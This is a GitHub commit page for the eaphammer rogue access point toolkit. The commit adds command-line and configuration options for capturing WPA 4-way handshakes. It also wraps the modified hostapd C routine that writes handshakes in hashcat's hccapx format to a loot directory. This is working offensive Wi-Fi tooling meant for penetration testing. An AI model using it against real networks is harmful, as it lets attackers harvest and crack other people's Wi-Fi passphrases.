Skip to content

Commit

Permalink
Added configuration management and CLI updates for WPA handshake capt…
Browse files Browse the repository at this point in the history
…ures.
  • Loading branch information
s0lst1c3 committed Jul 29, 2019
1 parent 1c0cf97 commit 6fbe524
Show file tree
Hide file tree
Showing 7 changed files with 127 additions and 40 deletions.
19 changes: 19 additions & 0 deletions core/cli.py
Expand Up @@ -13,6 +13,8 @@

'cert_wizard',
'reap_creds',
'capture_wpa_handshakes',
'psk_capture_file',
'pmkid',
'hostile_portal',
'captive_portal',
Expand Down Expand Up @@ -608,6 +610,23 @@ def set_options():
'Only applicable if --auth wpa-psk or wpa-eap are used',
)

wpa_group.add_argument('--capture-wpa-handshakes',
dest='capture_wpa_handshakes',
type=str,
choices=['yes', 'no'],
default=None,
help='Capture 4-way WPA handshakes '
'(wpa-psk default: yes) '
'(wpa-eap and sae defaults: no)')

wpa_group.add_argument('--psk-capture-file',
dest='psk_capture_file',
type=str,
default=None,
help='Path to which to write WPA handshake'
'files (default: automatically generated '
'from nonce and current timestamp)')

wpa_group.add_argument('--auth-alg',
dest='auth_alg',
type=str,
Expand Down
29 changes: 29 additions & 0 deletions core/hostapd_config.py
Expand Up @@ -86,6 +86,19 @@ def populate_eap(self, settings, options):
'wpa_key_mgmt' : settings.dict['core']['hostapd']['eap']['wpa_key_mgmt'],
}

if options['capture_wpa_handshakes'] is None:
eap_configs['capture_wpa_handshakes'] = settings.dict['core']['hostapd']['eap']['capture_wpa_handshakes']
elif options['capture_wpa_handshakes'] == 'yes':
eap_configs['capture_wpa_handshakes'] = '1'
elif options['capture_wpa_handshakes'] == 'no':
eap_configs['capture_wpa_handshakes'] = '0'
else:
raise Exception('This should never happen.')

if options['psk_capture_file'] is None:
eap_configs['psk_capture_file'] = settings.dict['paths']['psk']['psk_capture_file']
else:
eap_configs['psk_capture_file'] = options['psk_capture_file']

if options['dh_file'] is not None:
# if the user specified a dh file manually, use this
Expand Down Expand Up @@ -179,6 +192,22 @@ def populate_psk(self, settings, options):
else:
psk_configs['wpa_passphrase'] = options['wpa_passphrase']

if options['capture_wpa_handshakes'] is None:
psk_configs['capture_wpa_handshakes'] = settings.dict['core']['hostapd']['psk']['capture_wpa_handshakes']
elif options['capture_wpa_handshakes'] == 'yes':
psk_configs['capture_wpa_handshakes'] = '1'
elif options['capture_wpa_handshakes'] == 'no':
psk_configs['capture_wpa_handshakes'] = '0'
else:
raise Exception('This should never happen.')

if options['psk_capture_file'] is None:
psk_configs['psk_capture_file'] = settings.dict['paths']['psk']['psk_capture_file']
else:
psk_configs['psk_capture_file'] = options['psk_capture_file']



return psk_configs


Expand Down
8 changes: 8 additions & 0 deletions local/hostapd-eaphammer/hostapd/config_file.c
Expand Up @@ -2481,6 +2481,14 @@ static int hostapd_config_fill(struct hostapd_config *conf,
wpa_printf(MSG_DEBUG, "[EAPHAMMER] test 11");
eaphammer_global_conf.known_ssids_file = os_strdup(pos);
wpa_printf(MSG_DEBUG, "[EAPHAMMER] test 12");
} else if (os_strcmp(buf, "psk_capture_file") == 0) {
wpa_printf(MSG_DEBUG, "[EAPHAMMER] test 12.1");
eaphammer_global_conf.psk_capture_file = os_strdup(pos);
wpa_printf(MSG_DEBUG, "[EAPHAMMER] test 12.2");
} else if (os_strcmp(buf, "capture_wpa_handshakes") == 0) { // eaphammer
wpa_printf(MSG_DEBUG, "[EAPHAMMER] test 12.3");
eaphammer_global_conf.capture_wpa_handshakes = atoi(pos);
wpa_printf(MSG_DEBUG, "[EAPHAMMER] test 12.4");
} else if (os_strcmp(buf, "use_autocrack") == 0) { // eaphammer
wpa_printf(MSG_DEBUG, "[EAPHAMMER] test 13");
eaphammer_global_conf.use_autocrack = atoi(pos);
Expand Down
87 changes: 47 additions & 40 deletions local/hostapd-eaphammer/src/ap/wpa_auth.c
Expand Up @@ -31,6 +31,10 @@
#include "wpa_auth_i.h"
#include "wpa_auth_ie.h"

#ifdef EAPHAMMER
#include "eaphammer_wpe/eaphammer_wpe.h"
#endif

#define STATE_MACHINE_DATA struct wpa_state_machine
#define STATE_MACHINE_DEBUG_PREFIX "WPA"
#define STATE_MACHINE_ADDR sm->addr
Expand Down Expand Up @@ -1023,47 +1027,50 @@ void wpa_receive(struct wpa_authenticator *wpa_auth,
FILE *psk_cap_file = NULL;
int i = 0;

// This is pretty much straight hostapd-mana except for some tweaks to work
// with the latest version of hostapd. Sensepost gets
// credit for original implementation.
psk_cap_file = fopen("swag.hcapx", "ab");
if (psk_cap_file != NULL) {

fwrite("\x48\x43\x50\x58",4,1,psk_cap_file); //Signature
fwrite("\x04\x00\x00\x00",4,1,psk_cap_file); //Version
fwrite("\x00",1,1,psk_cap_file); //Message Pair (M1+M2)
fwrite(&wpa_auth->conf.ssid_len,1,1,psk_cap_file);
fwrite(wpa_auth->conf.ssid,32,1,psk_cap_file);
fwrite(&key->type,1,1,psk_cap_file);

fwrite(mic,16,1,psk_cap_file); //hashcat truncates to 16

fwrite(sm->wpa_auth->addr,ETH_ALEN,1,psk_cap_file);
fwrite(sm->ANonce,WPA_NONCE_LEN,1,psk_cap_file);
fwrite(sm->addr,ETH_ALEN,1,psk_cap_file);
fwrite(key->key_nonce,WPA_NONCE_LEN,1,psk_cap_file);
fwrite(&data_len,2,1,psk_cap_file);
fwrite(hdr,sizeof(*hdr),1,psk_cap_file);

fwrite(&key->type,1,1,psk_cap_file);
fwrite(key->key_info,2,1,psk_cap_file);
fwrite(key->key_length,2,1,psk_cap_file);
fwrite(key->replay_counter,WPA_REPLAY_COUNTER_LEN,1,psk_cap_file);
fwrite(key->key_nonce,WPA_NONCE_LEN,1,psk_cap_file);
fwrite(key->key_iv,16,1,psk_cap_file);
fwrite(key->key_rsc,WPA_KEY_RSC_LEN,1,psk_cap_file);
fwrite(key->key_id,8,1,psk_cap_file);
for (i=0;i<16;i++) {
fwrite("\x00",1,1,psk_cap_file);
}
fwrite(&key_data_length,2,1,psk_cap_file);
fwrite(key+1,WPA_GET_BE16(&key_data_length),1,psk_cap_file);
for (i=0;i<(256 - sizeof(*hdr) - ntohs(hdr->length) - (0));i++) {
fwrite("\x00",1,1,psk_cap_file);
}
fclose(psk_cap_file);
wpa_printf(MSG_INFO, "[EAPHAMMER] Captured a WPA/2 handshake from: " MACSTR, MAC2STR(sm->addr));
if (eaphammer_global_conf.capture_wpa_handshakes) {

// This is pretty much straight hostapd-mana except for some
//tweaks to work with the latest version of hostapd.
// Sensepost gets credit for original implementation.
psk_cap_file = fopen(eaphammer_global_conf.psk_capture_file, "ab");
if (psk_cap_file != NULL) {

fwrite("\x48\x43\x50\x58",4,1,psk_cap_file); //Signature
fwrite("\x04\x00\x00\x00",4,1,psk_cap_file); //Version
fwrite("\x00",1,1,psk_cap_file); //Message Pair (M1+M2)
fwrite(&wpa_auth->conf.ssid_len,1,1,psk_cap_file);
fwrite(wpa_auth->conf.ssid,32,1,psk_cap_file);
fwrite(&key->type,1,1,psk_cap_file);

fwrite(mic,16,1,psk_cap_file); //hashcat truncates to 16

fwrite(sm->wpa_auth->addr,ETH_ALEN,1,psk_cap_file);
fwrite(sm->ANonce,WPA_NONCE_LEN,1,psk_cap_file);
fwrite(sm->addr,ETH_ALEN,1,psk_cap_file);
fwrite(key->key_nonce,WPA_NONCE_LEN,1,psk_cap_file);
fwrite(&data_len,2,1,psk_cap_file);
fwrite(hdr,sizeof(*hdr),1,psk_cap_file);

fwrite(&key->type,1,1,psk_cap_file);
fwrite(key->key_info,2,1,psk_cap_file);
fwrite(key->key_length,2,1,psk_cap_file);
fwrite(key->replay_counter,WPA_REPLAY_COUNTER_LEN,1,psk_cap_file);
fwrite(key->key_nonce,WPA_NONCE_LEN,1,psk_cap_file);
fwrite(key->key_iv,16,1,psk_cap_file);
fwrite(key->key_rsc,WPA_KEY_RSC_LEN,1,psk_cap_file);
fwrite(key->key_id,8,1,psk_cap_file);
for (i=0;i<16;i++) {
fwrite("\x00",1,1,psk_cap_file);
}
fwrite(&key_data_length,2,1,psk_cap_file);
fwrite(key+1,WPA_GET_BE16(&key_data_length),1,psk_cap_file);
for (i=0;i<(256 - sizeof(*hdr) - ntohs(hdr->length) - (0));i++) {
fwrite("\x00",1,1,psk_cap_file);
}
fclose(psk_cap_file);
wpa_printf(MSG_INFO, "[EAPHAMMER] Captured a WPA/2 handshake from: " MACSTR, MAC2STR(sm->addr));
}
}

#endif

Expand Down
2 changes: 2 additions & 0 deletions local/hostapd-eaphammer/src/eaphammer_wpe/eaphammer_wpe.h
Expand Up @@ -29,6 +29,8 @@ struct eaphammer_global_config {
unsigned int use_autocrack; // eaphammer
unsigned int always_return_success;
char *known_ssids_file;
char *psk_capture_file;
u8 capture_wpa_handshakes;
u8 use_karma;
u8 known_beacons;
u8 singed_pants;
Expand Down
14 changes: 14 additions & 0 deletions settings/core/hostapd.ini
Expand Up @@ -147,6 +147,13 @@ wmm_ac_vo_acm=0
; This section is added when the user chooses a mode that
; requires EAP.

; ----------------------------------------------------------------------------
; The following configs can be set using either the cli or using
; this config file. If both the cli and config file are used, the cli
; takes precedence.

capture_wpa_handshakes=0

; ----------------------------------------------------------------------------
; The following EAP configs are set using values from settings.path:
; eap_user_file=
Expand Down Expand Up @@ -191,8 +198,15 @@ wpa=2
wpa_pairwise=TKIP CCMP

[psk]
; ============================================================================
; The following configs can be set using either the cli or using
; this config file. If both the cli and config file are used, the cli
; takes precedence.

wpa_passphrase=ermahgerdbestpasswordevar
capture_wpa_handshakes=1




[owe]
Expand Down
8 changes: 8 additions & 0 deletions settings/paths.py
Expand Up @@ -64,6 +64,11 @@ def __str__(self):
output_file = OutputFile(name='hcxdumptool-filter', ext='txt').string()
HCXDUMPTOOL_FILTER = os.path.join(TMP_DIR, output_file)

# wpa handshake cpature file paths
#options['psk_capture_file']
output_file = OutputFile(name='', ext='hccapx').string()
PSK_CAPTURE_FILE = os.path.join(LOOT_DIR, output_file)

# openssl paths
OPENSSL_BIN = os.path.join(LOCAL_DIR, 'openssl/local/bin/openssl')

Expand Down Expand Up @@ -135,6 +140,9 @@ def __str__(self):
'ofile' : HCXPCAPTOOL_OFILE,
},
},
'psk' : {
'psk_capture_file' : PSK_CAPTURE_FILE ,
},

'hcxdumptool' : {

Expand Down

0 comments on commit 6fbe524

Please sign in to comment.